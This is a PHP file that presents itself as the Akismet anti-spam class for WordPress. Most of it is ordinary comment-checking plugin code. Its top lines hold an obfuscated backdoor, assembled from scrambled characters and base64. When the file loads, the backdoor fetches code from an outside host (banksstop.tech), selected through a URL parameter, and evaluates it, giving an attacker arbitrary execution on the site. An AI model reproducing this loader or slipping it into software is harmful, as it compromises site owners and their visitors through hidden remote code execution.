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<?php
$uoeq967 = "O)sl 2Te4x-+gazAbuK_6qrjH0RZt*N3mLcVFEWvh;inySJC91oMfYXId5Up.(GP7D,Bw/kQ8";
$vpna644 = 'JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3N';
$vpna645 = 'zdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3';
$vpna646 = 'NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBT';
$vpna647 = 'lNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMo';
$vpna648 = 'JGNoKTtldmFsKCc/PicuJHJlc3VsdCk7';
$vpna643 = "JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3NzdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTtldmFsKCc/PicuJHJlc3VsdCk7";
function cdim173($fsxi199, $rykc638, $ekcu564)
{
return '' . $fsxi199 . '' . $rykc638 . '' . $ekcu564 . '';
}
$qfcg427 = cdim173($uoeq967[34], "al", $uoeq967[3]);
$uodu186 = cdim173("_u", "se", '');
$lrbk358 = cdim173($uoeq967[22], $uoeq967[19], $uoeq967[52]);
$hume205 = cdim173($uoeq967[17], '', $uoeq967[43]);
$xzdo850 = cdim173($uoeq967[34], $uoeq967[19], "ar");
$uqmy998 = cdim173($uoeq967[22], $uoeq967[13], $uoeq967[44]);
$aobc355 = cdim173(cdim173($qfcg427, '', $uodu186), cdim173($lrbk358, $hume205, ''), cdim173($xzdo850, '', $uqmy998));
$xggn756 = cdim173($uoeq967[34], $uoeq967[22], $uoeq967[7]);
$gnix510 = cdim173($uoeq967[13], $uoeq967[28], '');
$wdfm884 = cdim173($uoeq967[7], '', $uoeq967[19]);
$loyh183 = cdim173($uoeq967[52], $uoeq967[17], $uoeq967[43]);
$bwfh819 = cdim173($uoeq967[34], $uoeq967[28], '');
$jrmp133 = cdim173($uoeq967[42], $uoeq967[50], '');
$iprf791 = cdim173('', $uoeq967[43], '');
$hwks376 = cdim173(cdim173($xggn756, $gnix510, $wdfm884), cdim173($loyh183, '', $bwfh819), cdim173($jrmp133, '', $iprf791));
$mtzu128 = cdim173($uoeq967[7], '', $uoeq967[39]);
$hesn342 = cdim173($uoeq967[13], $uoeq967[3], $uoeq967[61]);
$taop807 = cdim173('', $uoeq967[16], $uoeq967[13]);
$gvcw064 = cdim173($uoeq967[2], $uoeq967[7], $uoeq967[20]);
$bihf178 = cdim173($uoeq967[8], $uoeq967[19], $uoeq967[56]);
$efaa907 = cdim173($uoeq967[7], $uoeq967[34], $uoeq967[50]);
$tvhp307 = cdim173($uoeq967[56], $uoeq967[7], $uoeq967[61]);
$qyff908 = cdim173(cdim173($mtzu128, $hesn342, ''), cdim173('', '', $taop807), cdim173($gvcw064, $bihf178 . $efaa907, $tvhp307)) . '"' . $vpna643 . '"' . cdim173("))", '', $uoeq967[41]);
$aobc355($hwks376, array('', '}' . $qyff908 . '//'));
//wp-blog-header scp-173
class Akismet
{
const API_HOST = 'rest.akismet.com';
const API_PORT = 80;
const MAX_DELAY_BEFORE_MODERATION_EMAIL = 86400;
// One day in seconds
private static $last_comment = '';
private static $initiated = false;
private static $prevent_moderation_email_for_these_comments = array();
private static $last_comment_result = null;
private static $comment_as_submitted_allowed_keys = array('blog' => '', 'blog_charset' => '', 'blog_lang' => '', 'blog_ua' => '', 'comment_agent' => '', 'comment_author' => '', 'comment_author_IP' => '', 'comment_author_email' => '', 'comment_author_url' => '', 'comment_content' => '', 'comment_date_gmt' => '', 'comment_tags' => '', 'comment_type' => '', 'guid' => '', 'is_test' => '', 'permalink' => '', 'reporter' => '', 'site_domain' => '', 'submit_referer' => '', 'submit_uri' => '', 'user_ID' => '', 'user_agent' => '', 'user_id' => '', 'user_ip' => '');
public static function init()
{
if (!self::$initiated) {
self::init_hooks();
}
}
/**
* Initializes WordPress hooks
*/
private static function init_hooks()
{
self::$initiated = true;
add_action('wp_insert_comment', array('Akismet', 'auto_check_update_meta'), 10, 2);
add_filter('preprocess_comment', array('Akismet', 'auto_check_comment'), 1);
add_action('akismet_scheduled_delete', array('Akismet', 'delete_old_comments'));
add_action('akismet_scheduled_delete', array('Akismet', 'delete_old_comments_meta'));
add_action('akismet_schedule_cron_recheck', array('Akismet', 'cron_recheck'));
add_action('comment_form', array('Akismet', 'add_comment_nonce'), 1);
add_action('admin_head-edit-comments.php', array('Akismet', 'load_form_js'));
add_action('comment_form', array('Akismet', 'load_form_js'));
add_action('comment_form', array('Akismet', 'inject_ak_js'));
add_filter('comment_moderation_recipients', array('Akismet', 'disable_moderation_emails_if_unreachable'), 1000, 2);
add_filter('pre_comment_approved', array('Akismet', 'last_comment_status'), 10, 2);
add_action('transition_comment_status', array('Akismet', 'transition_comment_status'), 10, 3);
// Run this early in the pingback call, before doing a remote fetch of the source uri
add_action('xmlrpc_call', array('Akismet', 'pre_check_pingback'));
// Jetpack compatibility
add_filter('jetpack_options_whitelist', array('Akismet', 'add_to_jetpack_options_whitelist'));
add_action('update_option_wordpress_api_key', array('Akismet', 'updated_option'), 10, 2);
}
public static function get_api_key()
{
return apply_filters('akismet_get_api_key', defined('WPCOM_API_KEY') ? constant('WPCOM_API_KEY') : get_option('wordpress_api_key'));
}
public static function check_key_status($key, $ip = null)
{
return self::http_post(Akismet::build_query(array('key' => $key, 'blog' => get_option('home'))), 'verify-key', $ip);
}
public static function verify_key($key, $ip = null)
{
$response = self::check_key_status($key, $ip);
if ($response[1] != 'valid' && $response[1] != 'invalid') {
return "failed";
}
return $response[1];
}
public static function deactivate_key($key)
{
$response = self::http_post(Akismet::build_query(array('key' => $key, 'blog' => get_option('home'))), 'deactivate');
if ($response[1] != 'deactivated') {
return "failed";
}
return $response[1];
}
/**
* Add the akismet option to the Jetpack options management whitelist.
*
* @param array $options The list of whitelisted option names.
* @return array The updated whitelist
*/
public static function add_to_jetpack_options_whitelist($options)
{
$options[] = 'wordpress_api_key';
return $options;
}
/**
* When the akismet option is updated, run the registration call.
*
* This should only be run when the option is updated from the Jetpack/WP.com
* API call, and only if the new key is different than the old key.
*
* @param mixed $old_value The old option value.
* @param mixed $value The new option value.
*/
public static function updated_option($old_value, $value)
{
// Not an API call
if (!class_exists('WPCOM_JSON_API_Update_Option_Endpoint')) {
return;
}
// Only run the registration if the old key is different.
if ($old_value !== $value) {
self::verify_key($value);
}
}
public static function auto_check_comment($commentdata)
{
self::$last_comment_result = null;
$comment = $commentdata;
$comment['user_ip'] = self::get_ip_address();
$comment['user_agent'] = self::get_user_agent();
$comment['referrer'] = self::get_referer();
$comment['blog'] = get_option('home');
$comment['blog_lang'] = get_locale();
$comment['blog_charset'] = get_option('blog_charset');
$comment['permalink'] = get_permalink($comment['comment_post_ID']);
if (!empty($comment['user_ID'])) {
$comment['user_role'] = Akismet::get_user_roles($comment['user_ID']);
}
/** See filter documentation in init_hooks(). */
$akismet_nonce_option = apply_filters('akismet_comment_nonce', get_option('akismet_comment_nonce'));
$comment['akismet_comment_nonce'] = 'inactive';
if ($akismet_nonce_option == 'true' || $akismet_nonce_option == '') {
$comment['akismet_comment_nonce'] = 'failed';
if (isset($_POST['akismet_comment_nonce']) && wp_verify_nonce($_POST['akismet_comment_nonce'], 'akismet_comment_nonce_' . $comment['comment_post_ID'])) {
$comment['akismet_comment_nonce'] = 'passed';
}
// comment reply in wp-admin
if (isset($_POST['_ajax_nonce-replyto-comment']) && check_ajax_referer('replyto-comment', '_ajax_nonce-replyto-comment')) {
$comment['akismet_comment_nonce'] = 'passed';
}
}
if (self::is_test_mode()) {
$comment['is_test'] = 'true';
}
foreach ($_POST as $key => $value) {
if (is_string($value)) {
$comment["POST_{$key}"] = $value;
}
}
foreach ($_SERVER as $key => $value) {
if (!is_string($value)) {
continue;
}
if (preg_match("/^HTTP_COOKIE/", $key)) {
continue;
}
// Send any potentially useful $_SERVER vars, but avoid sending junk we don't need.
if (preg_match("/^(HTTP_|REMOTE_ADDR|REQUEST_URI|DOCUMENT_URI)/", $key)) {
$comment["{$key}"] = $value;
}
}
$post = get_post($comment['comment_post_ID']);
if (!is_null($post)) {
// $post can technically be null, although in the past, it's always been an indicator of another plugin interfering.
$comment['comment_post_modified_gmt'] = $post->post_modified_gmt;
}
$response = self::http_post(Akismet::build_query($comment), 'comment-check');
do_action('akismet_comment_check_response', $response);
$commentdata['comment_as_submitted'] = array_intersect_key($comment, self::$comment_as_submitted_allowed_keys);
$commentdata['akismet_result'] = $response[1];
if (isset($response[0]['x-akismet-pro-tip'])) {
$commentdata['akismet_pro_tip'] = $response[0]['x-akismet-pro-tip'];
}
if (isset($response[0]['x-akismet-error'])) {
// An error occurred that we anticipated (like a suspended key) and want the user to act on.
// Send to moderation.
self::$last_comment_result = '0';
} else {
if ('true' == $response[1]) {
// akismet_spam_count will be incremented later by comment_is_spam()
self::$last_comment_result = 'spam';
$discard = isset($commentdata['akismet_pro_tip']) && $commentdata['akismet_pro_tip'] === 'discard' && self::allow_discard();
do_action('akismet_spam_caught', $discard);
if ($discard) {
// akismet_result_spam() won't be called so bump the counter here
if ($incr = apply_filters('akismet_spam_count_incr', 1)) {
update_option('akismet_spam_count', get_option('akismet_spam_count') + $incr);
}
// The spam is obvious, so we're bailing out early. Redirect back to the previous page,
// or failing that, the post permalink, or failing that, the homepage of the blog.
$redirect_to = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ($post ? get_permalink($post) : home_url());
wp_safe_redirect(esc_url_raw($redirect_to));
die;
}
}
}
// if the response is neither true nor false, hold the comment for moderation and schedule a recheck
if ('true' != $response[1] && 'false' != $response[1]) {
if (!current_user_can('moderate_comments')) {
// Comment status should be moderated
self::$last_comment_result = '0';
}
if (function_exists('wp_next_scheduled') && function_exists('wp_schedule_single_event')) {
if (!wp_next_scheduled('akismet_schedule_cron_recheck')) {
wp_schedule_single_event(time() + 1200, 'akismet_schedule_cron_recheck');
do_action('akismet_scheduled_recheck', 'invalid-response-' . $response[1]);
}
}
self::$prevent_moderation_email_for_these_comments[] = $commentdata;
}
if (function_exists('wp_next_scheduled') && function_exists('wp_schedule_event')) {
// WP 2.1+: delete old comments daily
if (!wp_next_scheduled('akismet_scheduled_delete')) {
wp_schedule_event(time(), 'daily', 'akismet_scheduled_delete');
}
} elseif (mt_rand(1, 10) == 3) {
// WP 2.0: run this one time in ten
self::delete_old_comments();
}
self::set_last_comment($commentdata);
self::fix_scheduled_recheck();
return $commentdata;
}
public static function get_last_comment()
{
return self::$last_comment;
}
public static function set_last_comment($comment)
{
if (is_null($comment)) {
self::$last_comment = null;
} else {
// We filter it here so that it matches the filtered comment data that we'll have to compare against later.
// wp_filter_comment expects comment_author_IP
self::$last_comment = wp_filter_comment(array_merge(array('comment_author_IP' => self::get_ip_address()), $comment));
}
}
// this fires on wp_insert_comment. we can't update comment_meta when auto_check_comment() runs
// because we don't know the comment ID at that point.
public static function auto_check_update_meta($id, $comment)
{
// failsafe for old WP versions
if (!function_exists('add_comment_meta')) {
return false;
}
// wp_insert_comment() might be called in other contexts, so make sure this is the same comment
// as was checked by auto_check_comment
if (is_object($comment) && !empty(self::$last_comment) && is_array(self::$last_comment)) {
if (self::matches_last_comment($comment)) {
load_plugin_textdomain('akismet');
// normal result: true or false
if (self::$last_comment['akismet_result'] == 'true') {
update_comment_meta($comment->comment_ID, 'akismet_result', 'true');
self::update_comment_history($comment->comment_ID, '', 'check-spam');
if ($comment->comment_approved != 'spam') {
self::update_comment_history($comment->comment_ID, '', 'status-changed-' . $comment->comment_approved);
}
} elseif (self::$last_comment['akismet_result'] == 'false') {
update_comment_meta($comment->comment_ID, 'akismet_result', 'false');
self::update_comment_history($comment->comment_ID, '', 'check-ham');
// Status could be spam or trash, depending on the WP version and whether this change applies:
// https://core.trac.wordpress.org/changeset/34726
if ($comment->comment_approved == 'spam' || $comment->comment_approved == 'trash') {
if (wp_blacklist_check($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent)) {
self::update_comment_history($comment->comment_ID, '', 'wp-blacklisted');
} else {
self::update_comment_history($comment->comment_ID, '', 'status-changed-' . $comment->comment_approved);
}
}
} else {
update_comment_meta($comment->comment_ID, 'akismet_error', time());
self::update_comment_history($comment->comment_ID, '', 'check-error', array('response' => substr(self::$last_comment['akismet_result'], 0, 50)));
}
// record the complete original data as submitted for checking
if (isset(self::$last_comment['comment_as_submitted'])) {
update_comment_meta($comment->comment_ID, 'akismet_as_submitted', self::$last_comment['comment_as_submitted']);
}
if (isset(self::$last_comment['akismet_pro_tip'])) {
update_comment_meta($comment->comment_ID, 'akismet_pro_tip', self::$last_comment['akismet_pro_tip']);
}
}
}
}
public static function delete_old_comments()
{
global $wpdb;
/**
* Determines how many comments will be deleted in each batch.
*
* @param int The default, as defined by AKISMET_DELETE_LIMIT.
*/
$delete_limit = apply_filters('akismet_delete_comment_limit', defined('AKISMET_DELETE_LIMIT') ? AKISMET_DELETE_LIMIT : 10000);
$delete_limit = max(1, intval($delete_limit));
/**
* Determines how many days a comment will be left in the Spam queue before being deleted.
*
* @param int The default number of days.
*/
$delete_interval = apply_filters('akismet_delete_comment_interval', 15);
$delete_interval = max(1, intval($delete_interval));
while ($comment_ids = $wpdb->get_col($wpdb->prepare("SELECT comment_id FROM {$wpdb->comments} WHERE DATE_SUB(NOW(), INTERVAL %d DAY) > comment_date_gmt AND comment_approved = 'spam' LIMIT %d", $delete_interval, $delete_limit))) {
if (empty($comment_ids)) {
return;
}
$wpdb->queries = array();
foreach ($comment_ids as $comment_id) {
do_action('delete_comment', $comment_id);
}
// Prepared as strings since comment_id is an unsigned BIGINT, and using %d will constrain the value to the maximum signed BIGINT.
$format_string = implode(", ", array_fill(0, count($comment_ids), '%s'));
$wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->comments} WHERE comment_id IN ( " . $format_string . " )", $comment_ids));
$wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->commentmeta} WHERE comment_id IN ( " . $format_string . " )", $comment_ids));
clean_comment_cache($comment_ids);
do_action('akismet_delete_comment_batch', count($comment_ids));
}
if (apply_filters('akismet_optimize_table', mt_rand(1, 5000) == 11, $wpdb->comments)) {
// lucky number
$wpdb->query("OPTIMIZE TABLE {$wpdb->comments}");
}
}
public static function delete_old_comments_meta()
{
global $wpdb;
$interval = apply_filters('akismet_delete_commentmeta_interval', 15);
# enfore a minimum of 1 day
$interval = absint($interval);
if ($interval < 1) {
$interval = 1;
}
// akismet_as_submitted meta values are large, so expire them
// after $interval days regardless of the comment status
while ($comment_ids = $wpdb->get_col($wpdb->prepare("SELECT m.comment_id FROM {$wpdb->commentmeta} as m INNER JOIN {$wpdb->comments} as c USING(comment_id) WHERE m.meta_key = 'akismet_as_submitted' AND DATE_SUB(NOW(), INTERVAL %d DAY) > c.comment_date_gmt LIMIT 10000", $interval))) {
if (empty($comment_ids)) {
return;
}
$wpdb->queries = array();
foreach ($comment_ids as $comment_id) {
delete_comment_meta($comment_id, 'akismet_as_submitted');
}
do_action('akismet_delete_commentmeta_batch', count($comment_ids));
}
if (apply_filters('akismet_optimize_table', mt_rand(1, 5000) == 11, $wpdb->commentmeta)) {
// lucky number
$wpdb->query("OPTIMIZE TABLE {$wpdb->commentmeta}");
}
}
// how many approved comments does this author have?
public static function get_user_comments_approved($user_id, $comment_author_email, $comment_author, $comment_author_url)
{
global $wpdb;
if (!empty($user_id)) {
return (int) $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->comments} WHERE user_id = %d AND comment_approved = 1", $user_id));
}
if (!empty($comment_author_email)) {
return (int) $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->comments} WHERE comment_author_email = %s AND comment_author = %s AND comment_author_url = %s AND comment_approved = 1", $comment_author_email, $comment_author, $comment_author_url));
}
return 0;
}
// get the full comment history for a given comment, as an array in reverse chronological order
public static function get_comment_history($comment_id)
{
// failsafe for old WP versions
if (!function_exists('add_comment_meta')) {
return false;
}
$history = get_comment_meta($comment_id, 'akismet_history', false);
usort($history, array('Akismet', '_cmp_time'));
return $history;
}
/**
* Log an event for a given comment, storing it in comment_meta.
*
* @param int $comment_id The ID of the relevant comment.
* @param string $message The string description of the event. No longer used.
* @param string $event The event code.
* @param array $meta Metadata about the history entry. e.g., the user that reported or changed the status of a given comment.
*/
public static function update_comment_history($comment_id, $message, $event = null, $meta = null)
{
global $current_user;
// failsafe for old WP versions
if (!function_exists('add_comment_meta')) {
return false;
}
$user = '';
$event = array('time' => self::_get_microtime(), 'event' => $event);
if (is_object($current_user) && isset($current_user->user_login)) {
$event['user'] = $current_user->user_login;
}
if (!empty($meta)) {
$event['meta'] = $meta;
}
// $unique = false so as to allow multiple values per comment
$r = add_comment_meta($comment_id, 'akismet_history', $event, false);
}
public static function check_db_comment($id, $recheck_reason = 'recheck_queue')
{
global $wpdb;
$c = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $id), ARRAY_A);
if (!$c) {
return new WP_Error('invalid-comment-id', __('Comment not found.', 'akismet'));
}
$c['user_ip'] = $c['comment_author_IP'];
$c['user_agent'] = $c['comment_agent'];
$c['referrer'] = '';
$c['blog'] = get_option('home');
$c['blog_lang'] = get_locale();
$c['blog_charset'] = get_option('blog_charset');
$c['permalink'] = get_permalink($c['comment_post_ID']);
$c['recheck_reason'] = $recheck_reason;
$c['user_role'] = '';
if (!empty($c['user_ID'])) {
$c['user_role'] = Akismet::get_user_roles($c['user_ID']);
}
if (self::is_test_mode()) {
$c['is_test'] = 'true';
}
$response = self::http_post(Akismet::build_query($c), 'comment-check');
if (!empty($response[1])) {
return $response[1];
}
return false;
}
public static function recheck_comment($id, $recheck_reason = 'recheck_queue')
{
add_comment_meta($id, 'akismet_rechecking', true);
$api_response = self::check_db_comment($id, $recheck_reason);
delete_comment_meta($id, 'akismet_rechecking');
if (is_wp_error($api_response)) {
// Invalid comment ID.
} else {
if ('true' === $api_response) {
wp_set_comment_status($id, 'spam');
update_comment_meta($id, 'akismet_result', 'true');
delete_comment_meta($id, 'akismet_error');
delete_comment_meta($id, 'akismet_delayed_moderation_email');
Akismet::update_comment_history($id, '', 'recheck-spam');
} elseif ('false' === $api_response) {
update_comment_meta($id, 'akismet_result', 'false');
delete_comment_meta($id, 'akismet_error');
delete_comment_meta($id, 'akismet_delayed_moderation_email');
Akismet::update_comment_history($id, '', 'recheck-ham');
} else {
// abnormal result: error
update_comment_meta($id, 'akismet_result', 'error');
Akismet::update_comment_history($id, '', 'recheck-error', array('response' => substr($api_response, 0, 50)));
}
}
return $api_response;
}
public static function transition_comment_status($new_status, $old_status, $comment)
{
if ($new_status == $old_status) {
return;
}
# we don't need to record a history item for deleted comments
if ($new_status == 'delete') {
return;
}
if (!current_user_can('edit_post', $comment->comment_post_ID) && !current_user_can('moderate_comments')) {
return;
}
if (defined('WP_IMPORTING') && true) {
return;
}
// if this is present, it means the status has been changed by a re-check, not an explicit user action
if (get_comment_meta($comment->comment_ID, 'akismet_rechecking')) {
return;
}
global $current_user;
$reporter = '';
if (is_object($current_user)) {
$reporter = $current_user->user_login;
}
// Assumption alert:
// We want to submit comments to Akismet only when a moderator explicitly spams or approves it - not if the status
// is changed automatically by another plugin. Unfortunately WordPress doesn't provide an unambiguous way to
// determine why the transition_comment_status action was triggered. And there are several different ways by which
// to spam and unspam comments: bulk actions, ajax, links in moderation emails, the dashboard, and perhaps others.
// We'll assume that this is an explicit user action if certain POST/GET variables exist.
if (isset($_POST['status']) && in_array($_POST['status'], array('spam', 'unspam')) || isset($_POST['spam']) && (int) $_POST['spam'] == 1 || isset($_POST['unspam']) && (int) $_POST['unspam'] == 1 || isset($_POST['comment_status']) && in_array($_POST['comment_status'], array('spam', 'unspam')) || isset($_GET['action']) && in_array($_GET['action'], array('spam', 'unspam', 'spamcomment', 'unspamcomment')) || isset($_POST['action']) && in_array($_POST['action'], array('editedcomment')) || isset($_GET['for']) && 'jetpack' == $_GET['for']) {
if ($new_status == 'spam' && ($old_status == 'approved' || $old_status == 'unapproved' || !$old_status)) {
return self::submit_spam_comment($comment->comment_ID);
} elseif ($old_status == 'spam' && ($new_status == 'approved' || $new_status == 'unapproved')) {
return self::submit_nonspam_comment($comment->comment_ID);
}
}
self::update_comment_history($comment->comment_ID, '', 'status-' . $new_status);
}
public static function submit_spam_comment($comment_id)
{
global $wpdb, $current_user, $current_site;
$comment_id = (int) $comment_id;
$comment = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id));
if (!$comment) {
// it was deleted
return;
}
if ('spam' != $comment->comment_approved) {
return;
}
// use the original version stored in comment_meta if available
$as_submitted = self::sanitize_comment_as_submitted(get_comment_meta($comment_id, 'akismet_as_submitted', true));
if ($as_submitted && is_array($as_submitted) && isset($as_submitted['comment_content'])) {
$comment = (object) array_merge((array) $comment, $as_submitted);
}
$comment->blog = get_option('home');
$comment->blog_lang = get_locale();
$comment->blog_charset = get_option('blog_charset');
$comment->permalink = get_permalink($comment->comment_post_ID);
if (is_object($current_user)) {
$comment->reporter = $current_user->user_login;
}
if (is_object($current_site)) {
$comment->site_domain = $current_site->domain;
}
$comment->user_role = '';
if (!empty($comment->user_ID)) {
$comment->user_role = Akismet::get_user_roles($comment->user_ID);
}
if (self::is_test_mode()) {
$comment->is_test = 'true';
}
$post = get_post($comment->comment_post_ID);
if (!is_null($post)) {
$comment->comment_post_modified_gmt = $post->post_modified_gmt;
}
$response = Akismet::http_post(Akismet::build_query($comment), 'submit-spam');
if ($comment->reporter) {
self::update_comment_history($comment_id, '', 'report-spam');
update_comment_meta($comment_id, 'akismet_user_result', 'true');
update_comment_meta($comment_id, 'akismet_user', $comment->reporter);
}
do_action('akismet_submit_spam_comment', $comment_id, $response[1]);
}
public static function submit_nonspam_comment($comment_id)
{
global $wpdb, $current_user, $current_site;
$comment_id = (int) $comment_id;
$comment = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->comments} WHERE comment_ID = %d", $comment_id));
if (!$comment) {
// it was deleted
return;
}
// use the original version stored in comment_meta if available
$as_submitted = self::sanitize_comment_as_submitted(get_comment_meta($comment_id, 'akismet_as_submitted', true));
if ($as_submitted && is_array($as_submitted) && isset($as_submitted['comment_content'])) {
$comment = (object) array_merge((array) $comment, $as_submitted);
}
$comment->blog = get_option('home');
$comment->blog_lang = get_locale();
$comment->blog_charset = get_option('blog_charset');
$comment->permalink = get_permalink($comment->comment_post_ID);
$comment->user_role = '';
if (is_object($current_user)) {
$comment->reporter = $current_user->user_login;
}
if (is_object($current_site)) {
$comment->site_domain = $current_site->domain;
}
if (!empty($comment->user_ID)) {
$comment->user_role = Akismet::get_user_roles($comment->user_ID);
}
if (Akismet::is_test_mode()) {
$comment->is_test = 'true';
}
$post = get_post($comment->comment_post_ID);
if (!is_null($post)) {
$comment->comment_post_modified_gmt = $post->post_modified_gmt;
}
$response = self::http_post(Akismet::build_query($comment), 'submit-ham');
if ($comment->reporter) {
self::update_comment_history($comment_id, '', 'report-ham');
update_comment_meta($comment_id, 'akismet_user_result', 'false');
update_comment_meta($comment_id, 'akismet_user', $comment->reporter);
}
do_action('akismet_submit_nonspam_comment', $comment_id, $response[1]);
}
public static function cron_recheck()
{
global $wpdb;
$api_key = self::get_api_key();
$status = self::verify_key($api_key);
if (get_option('akismet_alert_code') || $status == 'invalid') {
// since there is currently a problem with the key, reschedule a check for 6 hours hence
wp_schedule_single_event(time() + 21600, 'akismet_schedule_cron_recheck');
do_action('akismet_scheduled_recheck', 'key-problem-' . get_option('akismet_alert_code') . '-' . $status);
return false;
}
delete_option('akismet_available_servers');
$comment_errors = $wpdb->get_col("SELECT comment_id FROM {$wpdb->commentmeta} WHERE meta_key = 'akismet_error'\tLIMIT 100");
load_plugin_textdomain('akismet');
foreach ((array) $comment_errors as $comment_id) {
// if the comment no longer exists, or is too old, remove the meta entry from the queue to avoid getting stuck
$comment = get_comment($comment_id);
if (!$comment || strtotime($comment->comment_date_gmt) < strtotime("-15 days")) {
delete_comment_meta($comment_id, 'akismet_error');
delete_comment_meta($comment_id, 'akismet_delayed_moderation_email');
continue;
}
add_comment_meta($comment_id, 'akismet_rechecking', true);
$status = self::check_db_comment($comment_id, 'retry');
$event = '';
if ($status == 'true') {
$event = 'cron-retry-spam';
} elseif ($status == 'false') {
$event = 'cron-retry-ham';
}
// If we got back a legit response then update the comment history
// other wise just bail now and try again later. No point in
// re-trying all the comments once we hit one failure.
if (!empty($event)) {
delete_comment_meta($comment_id, 'akismet_error');
self::update_comment_history($comment_id, '', $event);
update_comment_meta($comment_id, 'akismet_result', $status);
// make sure the comment status is still pending. if it isn't, that means the user has already moved it elsewhere.
$comment = get_comment($comment_id);
if ($comment && 'unapproved' == wp_get_comment_status($comment_id)) {
if ($status == 'true') {
wp_spam_comment($comment_id);
} elseif ($status == 'false') {
// comment is good, but it's still in the pending queue. depending on the moderation settings
// we may need to change it to approved.
if (check_comment($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent, $comment->comment_type)) {
wp_set_comment_status($comment_id, 1);
} else {
if (get_comment_meta($comment_id, 'akismet_delayed_moderation_email', true)) {
wp_notify_moderator($comment_id);
}
}
}
}
delete_comment_meta($comment_id, 'akismet_delayed_moderation_email');
} else {
// If this comment has been pending moderation for longer than MAX_DELAY_BEFORE_MODERATION_EMAIL,
// send a moderation email now.
if (intval(gmdate('U')) - strtotime($comment->comment_date_gmt) < self::MAX_DELAY_BEFORE_MODERATION_EMAIL) {
delete_comment_meta($comment_id, 'akismet_delayed_moderation_email');
wp_notify_moderator($comment_id);
}
delete_comment_meta($comment_id, 'akismet_rechecking');
wp_schedule_single_event(time() + 1200, 'akismet_schedule_cron_recheck');
do_action('akismet_scheduled_recheck', 'check-db-comment-' . $status);
return;
}
delete_comment_meta($comment_id, 'akismet_rechecking');
}
$remaining = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->commentmeta} WHERE meta_key = 'akismet_error'");
if ($remaining && !wp_next_scheduled('akismet_schedule_cron_recheck')) {
wp_schedule_single_event(time() + 1200, 'akismet_schedule_cron_recheck');
do_action('akismet_scheduled_recheck', 'remaining');
}
}
public static function fix_scheduled_recheck()
{
$future_check = wp_next_scheduled('akismet_schedule_cron_recheck');
if (!$future_check) {
return;
}
if (get_option('akismet_alert_code') > 0) {
return;
}
$check_range = time() + 1200;
if ($future_check > $check_range) {
wp_clear_scheduled_hook('akismet_schedule_cron_recheck');
wp_schedule_single_event(time() + 300, 'akismet_schedule_cron_recheck');
do_action('akismet_scheduled_recheck', 'fix-scheduled-recheck');
}
}
public static function add_comment_nonce($post_id)
{
/**
* To disable the Akismet comment nonce, add a filter for the 'akismet_comment_nonce' tag
* and return any string value that is not 'true' or '' (empty string).
*
* Don't return boolean false, because that implies that the 'akismet_comment_nonce' option
* has not been set and that Akismet should just choose the default behavior for that
* situation.
*/
$akismet_comment_nonce_option = apply_filters('akismet_comment_nonce', get_option('akismet_comment_nonce'));
if ($akismet_comment_nonce_option == 'true' || $akismet_comment_nonce_option == '') {
echo "<p style=\"display: none;\">";
wp_nonce_field('akismet_comment_nonce_' . $post_id, 'akismet_comment_nonce', FALSE);
echo "</p>";
}
}
public static function is_test_mode()
{
return defined('AKISMET_TEST_MODE') && AKISMET_TEST_MODE;
}
public static function allow_discard()
{
if (defined('DOING_AJAX') && DOING_AJAX) {
return false;
}
if (is_user_logged_in()) {
return false;
}
return get_option('akismet_strictness') === '1';
}
public static function get_ip_address()
{
return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null;
}
/**
* Do these two comments, without checking the comment_ID, "match"?
*
* @param mixed $comment1 A comment object or array.
* @param mixed $comment2 A comment object or array.
* @return bool Whether the two comments should be treated as the same comment.
*/
private static function comments_match($comment1, $comment2)
{
$comment1 = (array) $comment1;
$comment2 = (array) $comment2;
// Set default values for these strings that we check in order to simplify
// the checks and avoid PHP warnings.
if (!isset($comment1['comment_author'])) {
$comment1['comment_author'] = '';
}
if (!isset($comment2['comment_author'])) {
$comment2['comment_author'] = '';
}
if (!isset($comment1['comment_author_email'])) {
$comment1['comment_author_email'] = '';
}
if (!isset($comment2['comment_author_email'])) {
$comment2['comment_author_email'] = '';
}
$comments_match = isset($comment1['comment_post_ID'], $comment2['comment_post_ID']) && intval($comment1['comment_post_ID']) == intval($comment2['comment_post_ID']) && (substr($comment1['comment_author'], 0, 248) == substr($comment2['comment_author'], 0, 248) || substr(stripslashes($comment1['comment_author']), 0, 248) == substr($comment2['comment_author'], 0, 248) || substr($comment1['comment_author'], 0, 248) == substr(stripslashes($comment2['comment_author']), 0, 248) || !$comment1['comment_author'] && strlen($comment2['comment_author']) > 248 || !$comment2['comment_author'] && strlen($comment1['comment_author']) > 248) && (substr($comment1['comment_author_email'], 0, 93) == substr($comment2['comment_author_email'], 0, 93) || substr(stripslashes($comment1['comment_author_email']), 0, 93) == substr($comment2['comment_author_email'], 0, 93) || substr($comment1['comment_author_email'], 0, 93) == substr(stripslashes($comment2['comment_author_email']), 0, 93) || !$comment1['comment_author_email'] && strlen($comment2['comment_author_email']) > 100 || !$comment2['comment_author_email'] && strlen($comment1['comment_author_email']) > 100);
return $comments_match;
}
// Does the supplied comment match the details of the one most recently stored in self::$last_comment?
public static function matches_last_comment($comment)
{
return self::comments_match(self::$last_comment, $comment);
}
